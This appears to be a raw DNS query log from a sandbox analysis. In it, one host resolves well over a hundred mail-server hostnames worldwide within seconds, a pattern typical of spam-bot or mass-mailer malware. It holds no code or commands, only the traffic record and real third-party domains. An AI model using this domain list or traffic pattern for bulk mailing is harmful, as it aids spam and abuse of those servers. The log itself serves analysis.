Jun 4, 2024 23:10:25.161125898 CEST	192.168.2.11	1.1.1.1	0xc5a6	Standard query (0)	rogers.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.287547112 CEST	192.168.2.11	1.1.1.1	0xdb0a	Standard query (0)	smtp.vodafone.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.290013075 CEST	192.168.2.11	1.1.1.1	0xdd27	Standard query (0)	out.aguascalientes.gob.mx	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.291616917 CEST	192.168.2.11	1.1.1.1	0x52a2	Standard query (0)	securesmtp.talkingthreads.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.416805983 CEST	192.168.2.11	1.1.1.1	0xfe13	Standard query (0)	mail.proexport.com.co	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.553358078 CEST	192.168.2.11	1.1.1.1	0xe789	Standard query (0)	out.ultratempo.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.554243088 CEST	192.168.2.11	1.1.1.1	0x4c3	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.718503952 CEST	192.168.2.11	1.1.1.1	0x77d0	Standard query (0)	smtp.rynet.cz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.718796968 CEST	192.168.2.11	1.1.1.1	0xbdcc	Standard query (0)	aliyun.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.849349022 CEST	192.168.2.11	1.1.1.1	0xd23f	Standard query (0)	securesmtp.gimel.hu	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.850241899 CEST	192.168.2.11	1.1.1.1	0x667c	Standard query (0)	smtp.freemail.hu	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.851624012 CEST	192.168.2.11	1.1.1.1	0x1d76	Standard query (0)	student.uc.pt	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.853480101 CEST	192.168.2.11	1.1.1.1	0x2d5d	Standard query (0)	taalim.ma	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.984668016 CEST	192.168.2.11	1.1.1.1	0x487b	Standard query (0)	inter7.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.112524986 CEST	192.168.2.11	1.1.1.1	0x681a	Standard query (0)	mail.vstream.ie	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.113359928 CEST	192.168.2.11	1.1.1.1	0x9d69	Standard query (0)	out.raranride.xyz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.288948059 CEST	192.168.2.11	1.1.1.1	0xdd27	Standard query (0)	out.aguascalientes.gob.mx	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.377093077 CEST	192.168.2.11	1.1.1.1	0xc3d	Standard query (0)	creadslex.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.378032923 CEST	192.168.2.11	1.1.1.1	0x967a	Standard query (0)	securesmtp.designedwithi.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.413885117 CEST	192.168.2.11	1.1.1.1	0xfe13	Standard query (0)	mail.proexport.com.co	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.504973888 CEST	192.168.2.11	1.1.1.1	0xe755	Standard query (0)	initiatesystems.com.s5a2.psmtp.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.506192923 CEST	192.168.2.11	1.1.1.1	0xf4fb	Standard query (0)	smtp.aniledodi.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.627753019 CEST	192.168.2.11	1.1.1.1	0xaaca	Standard query (0)	out.kwood.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.627844095 CEST	192.168.2.11	1.1.1.1	0x6c70	Standard query (0)	smtpin.rzone.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.761955976 CEST	192.168.2.11	1.1.1.1	0x68af	Standard query (0)	kmdkdkdk.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.762960911 CEST	192.168.2.11	1.1.1.1	0xb1b1	Standard query (0)	mail.naurothinsurance.bc.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:26.891649008 CEST	192.168.2.11	1.1.1.1	0x1293	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.025640965 CEST	192.168.2.11	1.1.1.1	0x142d	Standard query (0)	mail.ignitelab.co.za	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.025916100 CEST	192.168.2.11	1.1.1.1	0x2f3d	Standard query (0)	secure.colton.k12.ca.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.027307987 CEST	192.168.2.11	1.1.1.1	0x51a0	Standard query (0)	mail.aruba.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.157160044 CEST	192.168.2.11	1.1.1.1	0xbdb1	Standard query (0)	flix.be	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.157769918 CEST	192.168.2.11	1.1.1.1	0xcddc	Standard query (0)	secure.lactodorum.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.289343119 CEST	192.168.2.11	1.1.1.1	0xdd27	Standard query (0)	out.aguascalientes.gob.mx	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.293348074 CEST	192.168.2.11	1.1.1.1	0xca76	Standard query (0)	out.logoshines.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.429792881 CEST	192.168.2.11	1.1.1.1	0xfe13	Standard query (0)	mail.proexport.com.co	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.431659937 CEST	192.168.2.11	1.1.1.1	0xe7dc	Standard query (0)	out.count-face.biz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.433831930 CEST	192.168.2.11	1.1.1.1	0x7c8a	Standard query (0)	smtp.blpcollegemasaurhi.ac.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.581208944 CEST	192.168.2.11	1.1.1.1	0x89ba	Standard query (0)	lostgeek.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.581269026 CEST	192.168.2.11	1.1.1.1	0xcc2f	Standard query (0)	ya.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.746335030 CEST	192.168.2.11	1.1.1.1	0x6ecc	Standard query (0)	aupe.com.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.746723890 CEST	192.168.2.11	1.1.1.1	0x30c	Standard query (0)	out.simoncollyer.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.747369051 CEST	192.168.2.11	1.1.1.1	0xee76	Standard query (0)	out.essentiallifeskills.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.895905018 CEST	192.168.2.11	1.1.1.1	0x5215	Standard query (0)	mx1.pub.mailpod6-cph3.one.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:27.895905018 CEST	192.168.2.11	1.1.1.1	0xbaf1	Standard query (0)	smtp.ucalgary.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.014108896 CEST	192.168.2.11	1.1.1.1	0x2263	Standard query (0)	mail.hot.ee	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.014223099 CEST	192.168.2.11	1.1.1.1	0x9a5d	Standard query (0)	out.it2i.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.304440975 CEST	192.168.2.11	1.1.1.1	0xb935	Standard query (0)	smtp.virgilio.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.304996014 CEST	192.168.2.11	1.1.1.1	0xca76	Standard query (0)	out.logoshines.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.305041075 CEST	192.168.2.11	1.1.1.1	0x22a9	Standard query (0)	smtp.bbox.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.437565088 CEST	192.168.2.11	1.1.1.1	0x1cd6	Standard query (0)	temporary-mail.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.437565088 CEST	192.168.2.11	1.1.1.1	0xf59a	Standard query (0)	jcmeijers-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.439146996 CEST	192.168.2.11	1.1.1.1	0xfeae	Standard query (0)	secure.cipassce.191.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.570950985 CEST	192.168.2.11	1.1.1.1	0x424d	Standard query (0)	pec.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.702163935 CEST	192.168.2.11	1.1.1.1	0x1b09	Standard query (0)	securesmtp.mundoopen.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.834525108 CEST	192.168.2.11	1.1.1.1	0x4f41	Standard query (0)	unicosconstrutora.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.880068064 CEST	192.168.2.11	1.1.1.1	0xf514	Standard query (0)	psp21.radom.pl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:28.891191006 CEST	192.168.2.11	1.1.1.1	0x8f0b	Standard query (0)	secure.smybilisim.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.029311895 CEST	192.168.2.11	1.1.1.1	0xc45c	Standard query (0)	smtp.ctmusic.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.029791117 CEST	192.168.2.11	1.1.1.1	0x12e	Standard query (0)	jcl1.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.030656099 CEST	192.168.2.11	1.1.1.1	0x40f7	Standard query (0)	out.peakperform.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.188843012 CEST	192.168.2.11	1.1.1.1	0x8468	Standard query (0)	mx00.ionos.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.193608999 CEST	192.168.2.11	1.1.1.1	0xdda0	Standard query (0)	smtp.bysamia.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.200114012 CEST	192.168.2.11	1.1.1.1	0xee7b	Standard query (0)	gadball.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.304523945 CEST	192.168.2.11	1.1.1.1	0xca76	Standard query (0)	out.logoshines.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.395632982 CEST	192.168.2.11	1.1.1.1	0xb3b7	Standard query (0)	secure.gpoo.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.396126032 CEST	192.168.2.11	1.1.1.1	0x509c	Standard query (0)	flamingo-club.com.ua	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.396699905 CEST	192.168.2.11	1.1.1.1	0xa49f	Standard query (0)	securesmtp.mshac.kr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.397161007 CEST	192.168.2.11	1.1.1.1	0x550c	Standard query (0)	mail.feugenia.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.430331945 CEST	192.168.2.11	1.1.1.1	0xfe13	Standard query (0)	mail.proexport.com.co	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.561547995 CEST	192.168.2.11	1.1.1.1	0xd4ff	Standard query (0)	smtp.ctbr.ch	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.561845064 CEST	192.168.2.11	1.1.1.1	0x3827	Standard query (0)	gutrading.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.688071966 CEST	192.168.2.11	1.1.1.1	0x34db	Standard query (0)	smtp.inwind.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.689694881 CEST	192.168.2.11	1.1.1.1	0xadc6	Standard query (0)	smtp.kpploa.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.810030937 CEST	192.168.2.11	1.1.1.1	0x3362	Standard query (0)	zing.vn	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.953803062 CEST	192.168.2.11	1.1.1.1	0x8376	Standard query (0)	mail.i.ua	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.955914974 CEST	192.168.2.11	1.1.1.1	0x16ef	Standard query (0)	vrist.dk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:29.958616972 CEST	192.168.2.11	1.1.1.1	0xaccd	Standard query (0)	mail.alfasete.net.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.119976044 CEST	192.168.2.11	1.1.1.1	0xadb3	Standard query (0)	mail.mc.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.120500088 CEST	192.168.2.11	1.1.1.1	0xaedc	Standard query (0)	securesmtp.lindoiashopping.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.242589951 CEST	192.168.2.11	1.1.1.1	0x277f	Standard query (0)	mail6.lhotellerie.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.242875099 CEST	192.168.2.11	1.1.1.1	0x2c58	Standard query (0)	secure.fotobubbles.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.496459961 CEST	192.168.2.11	1.1.1.1	0x90c6	Standard query (0)	out.drwambach.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.499233007 CEST	192.168.2.11	1.1.1.1	0xa66	Standard query (0)	mx.b.locaweb.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.624958992 CEST	192.168.2.11	1.1.1.1	0x3f51	Standard query (0)	javs.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.627252102 CEST	192.168.2.11	1.1.1.1	0xcaa6	Standard query (0)	signmaq.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.755688906 CEST	192.168.2.11	1.1.1.1	0x4b6d	Standard query (0)	bigpond.net.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.755904913 CEST	192.168.2.11	1.1.1.1	0x461a	Standard query (0)	smtp.xplore.be	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.880918026 CEST	192.168.2.11	1.1.1.1	0x70a2	Standard query (0)	mail.myespace.com.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:30.881611109 CEST	192.168.2.11	1.1.1.1	0xd765	Standard query (0)	magenta.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.043442965 CEST	192.168.2.11	1.1.1.1	0x6b03	Standard query (0)	mail.optonline.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.044447899 CEST	192.168.2.11	1.1.1.1	0xf917	Standard query (0)	securesmtp.jones.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.207748890 CEST	192.168.2.11	1.1.1.1	0xbf5d	Standard query (0)	upcmail.nl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.208283901 CEST	192.168.2.11	1.1.1.1	0x1ba8	Standard query (0)	mail.77wyx13uew.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.208298922 CEST	192.168.2.11	1.1.1.1	0xbd8f	Standard query (0)	securesmtp.puertohuelva.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.208762884 CEST	192.168.2.11	1.1.1.1	0xb53f	Standard query (0)	kefgames.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.575720072 CEST	192.168.2.11	1.1.1.1	0xca76	Standard query (0)	out.logoshines.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.576519966 CEST	192.168.2.11	1.1.1.1	0x1ae7	Standard query (0)	itelefonica.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.691958904 CEST	192.168.2.11	1.1.1.1	0x9307	Standard query (0)	mail.babydomik.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.692645073 CEST	192.168.2.11	1.1.1.1	0x2bd7	Standard query (0)	secure.workerhands.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.693130970 CEST	192.168.2.11	1.1.1.1	0xb6bb	Standard query (0)	out.nucci.site	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.693407059 CEST	192.168.2.11	1.1.1.1	0xdc5d	Standard query (0)	smtp.superig.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.749566078 CEST	192.168.2.11	1.1.1.1	0x4202	Standard query (0)	mx4.pub.mailpod9-cph3.one.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.750855923 CEST	192.168.2.11	1.1.1.1	0x40fd	Standard query (0)	out.tpscomputers.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.872931957 CEST	192.168.2.11	1.1.1.1	0xb541	Standard query (0)	mail.hgdg.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.873162031 CEST	192.168.2.11	1.1.1.1	0x9c3e	Standard query (0)	mail.flowtec.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.873523951 CEST	192.168.2.11	1.1.1.1	0xa9c4	Standard query (0)	mail.delgado-meyer-avocats.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:31.999933004 CEST	192.168.2.11	1.1.1.1	0x8a6f	Standard query (0)	mail.zedin.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.000771046 CEST	192.168.2.11	1.1.1.1	0x28b2	Standard query (0)	mail.hooevents.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.002005100 CEST	192.168.2.11	1.1.1.1	0x352f	Standard query (0)	digible.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.129663944 CEST	192.168.2.11	1.1.1.1	0x3e4a	Standard query (0)	out.callplus.tn	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.129894018 CEST	192.168.2.11	1.1.1.1	0x8f00	Standard query (0)	newfeet.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.258829117 CEST	192.168.2.11	1.1.1.1	0x6c11	Standard query (0)	mark-e.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.383601904 CEST	192.168.2.11	1.1.1.1	0x48be	Standard query (0)	mail.sabie.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.383886099 CEST	192.168.2.11	1.1.1.1	0xa211	Standard query (0)	oi.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.512516975 CEST	192.168.2.11	1.1.1.1	0x52de	Standard query (0)	out.ultratempo.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.676322937 CEST	192.168.2.11	1.1.1.1	0xef09	Standard query (0)	out.steglers.dk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.676646948 CEST	192.168.2.11	1.1.1.1	0x69ae	Standard query (0)	obrademaria.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.676665068 CEST	192.168.2.11	1.1.1.1	0xf390	Standard query (0)	smtp.displaymax.co.th	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.800194979 CEST	192.168.2.11	1.1.1.1	0xa1de	Standard query (0)	sky.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.800422907 CEST	192.168.2.11	1.1.1.1	0xda1f	Standard query (0)	mx2.emailsrvr.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.800770998 CEST	192.168.2.11	1.1.1.1	0xebea	Standard query (0)	mail.blueps.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.937887907 CEST	192.168.2.11	1.1.1.1	0xda8e	Standard query (0)	smtp.novavision-m.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:32.938544989 CEST	192.168.2.11	1.1.1.1	0xfc10	Standard query (0)	resfest.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.064402103 CEST	192.168.2.11	1.1.1.1	0x9d98	Standard query (0)	out.sdlancaster.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.064760923 CEST	192.168.2.11	1.1.1.1	0x79aa	Standard query (0)	secure.piepmeyer.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.064914942 CEST	192.168.2.11	1.1.1.1	0x8ea4	Standard query (0)	usherbrooke.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.198652983 CEST	192.168.2.11	1.1.1.1	0x17c5	Standard query (0)	stib-brussels.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.199290991 CEST	192.168.2.11	1.1.1.1	0x7e30	Standard query (0)	out.axtron-milieuconsult.be	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.349823952 CEST	192.168.2.11	1.1.1.1	0x8587	Standard query (0)	secure.fundy.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.350176096 CEST	192.168.2.11	1.1.1.1	0xb015	Standard query (0)	lanarkshire.scot.n	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.354760885 CEST	192.168.2.11	1.1.1.1	0x1be5	Standard query (0)	secure.kiotec.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.481925011 CEST	192.168.2.11	1.1.1.1	0xe963	Standard query (0)	out.directtrade.com.eg	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.482253075 CEST	192.168.2.11	1.1.1.1	0x669b	Standard query (0)	smtp.wvi.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.635674000 CEST	192.168.2.11	1.1.1.1	0xb233	Standard query (0)	mars.dti.ne.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.932343006 CEST	192.168.2.11	1.1.1.1	0xa72e	Standard query (0)	aon.at	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.932437897 CEST	192.168.2.11	1.1.1.1	0xebca	Standard query (0)	mail.sobrasiluniformes.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.933424950 CEST	192.168.2.11	1.1.1.1	0x70a4	Standard query (0)	southampton.gov.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:33.933424950 CEST	192.168.2.11	1.1.1.1	0x8c31	Standard query (0)	lcmtreinamento.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.140290022 CEST	192.168.2.11	1.1.1.1	0xb3f7	Standard query (0)	smtp.celluliteanti24.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.140290022 CEST	192.168.2.11	1.1.1.1	0x566a	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.140932083 CEST	192.168.2.11	1.1.1.1	0xd2af	Standard query (0)	walla.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.141403913 CEST	192.168.2.11	1.1.1.1	0x89d8	Standard query (0)	securesmtp.unimep.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.430340052 CEST	192.168.2.11	1.1.1.1	0x6dec	Standard query (0)	secure.conteadealtavilla.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.431267977 CEST	192.168.2.11	1.1.1.1	0x951	Standard query (0)	secure.mad4music.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.559660912 CEST	192.168.2.11	1.1.1.1	0x1fff	Standard query (0)	peoplepc.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.559660912 CEST	192.168.2.11	1.1.1.1	0x714a	Standard query (0)	_dc-mx.b9ce573663af.dbarchitecture.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.702891111 CEST	192.168.2.11	1.1.1.1	0xff04	Standard query (0)	securesmtp.stcontrol.es	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.703654051 CEST	192.168.2.11	1.1.1.1	0xd356	Standard query (0)	secure.bigpod.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.839637041 CEST	192.168.2.11	1.1.1.1	0x805f	Standard query (0)	mail.scarlet.be	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:34.840044022 CEST	192.168.2.11	1.1.1.1	0xe1ef	Standard query (0)	architech-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.000740051 CEST	192.168.2.11	1.1.1.1	0x6c8d	Standard query (0)	mail.mahmoodalamath.page	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.001411915 CEST	192.168.2.11	1.1.1.1	0x71b1	Standard query (0)	tomato.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.149658918 CEST	192.168.2.11	1.1.1.1	0x99c5	Standard query (0)	y-cute.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.150207996 CEST	192.168.2.11	1.1.1.1	0x9f3d	Standard query (0)	securesmtp.eventosypromociones.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.472934961 CEST	192.168.2.11	1.1.1.1	0xb827	Standard query (0)	smtp.pypalt.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.474380016 CEST	192.168.2.11	1.1.1.1	0x5a0f	Standard query (0)	movilizate.com.co	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.474771976 CEST	192.168.2.11	1.1.1.1	0x1011	Standard query (0)	messagemarketer.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.593264103 CEST	192.168.2.11	1.1.1.1	0x3b8e	Standard query (0)	smtp.raizprod.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.717928886 CEST	192.168.2.11	1.1.1.1	0x96ab	Standard query (0)	smtp.amazingsecretbargains.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.718168020 CEST	192.168.2.11	1.1.1.1	0x64b2	Standard query (0)	out.worrall.fsbusiness.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.718506098 CEST	192.168.2.11	1.1.1.1	0x7b6a	Standard query (0)	mx.free-lesbian-pic.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.844258070 CEST	192.168.2.11	1.1.1.1	0xba62	Standard query (0)	warrentiresvc-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.976793051 CEST	192.168.2.11	1.1.1.1	0xe176	Standard query (0)	noos.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.977667093 CEST	192.168.2.11	1.1.1.1	0x72a8	Standard query (0)	optusnet.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:35.978131056 CEST	192.168.2.11	1.1.1.1	0x75ef	Standard query (0)	smtp.citromail.hu	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.265153885 CEST	192.168.2.11	1.1.1.1	0xf9ab	Standard query (0)	mx01.ionos.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.265431881 CEST	192.168.2.11	1.1.1.1	0xef54	Standard query (0)	mail.solutions4.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.389827967 CEST	192.168.2.11	1.1.1.1	0x561	Standard query (0)	b2l.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.390010118 CEST	192.168.2.11	1.1.1.1	0x9198	Standard query (0)	autograf.pl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.520596981 CEST	192.168.2.11	1.1.1.1	0x6aa9	Standard query (0)	inter7.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.521214008 CEST	192.168.2.11	1.1.1.1	0xf3e9	Standard query (0)	securesmtp.meinich.no	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.670016050 CEST	192.168.2.11	1.1.1.1	0x3c43	Standard query (0)	smtp.hert.ac.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.670075893 CEST	192.168.2.11	1.1.1.1	0x54c9	Standard query (0)	out.maisprevestibular.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.826657057 CEST	192.168.2.11	1.1.1.1	0x6f5f	Standard query (0)	smtp.cgocable.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.827049017 CEST	192.168.2.11	1.1.1.1	0x6f26	Standard query (0)	smtp.needkasoi.tk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.947766066 CEST	192.168.2.11	1.1.1.1	0x529a	Standard query (0)	smtp.meatex.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:36.985881090 CEST	192.168.2.11	1.1.1.1	0x72a8	Standard query (0)	optusnet.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.075484991 CEST	192.168.2.11	1.1.1.1	0x4ec7	Standard query (0)	secure.im-creative.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.076803923 CEST	192.168.2.11	1.1.1.1	0x9c9e	Standard query (0)	mail.mcmmanufacturing.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.076803923 CEST	192.168.2.11	1.1.1.1	0xe446	Standard query (0)	smtp.immo44.fr	A (IP address)	IN (0x0001)	false
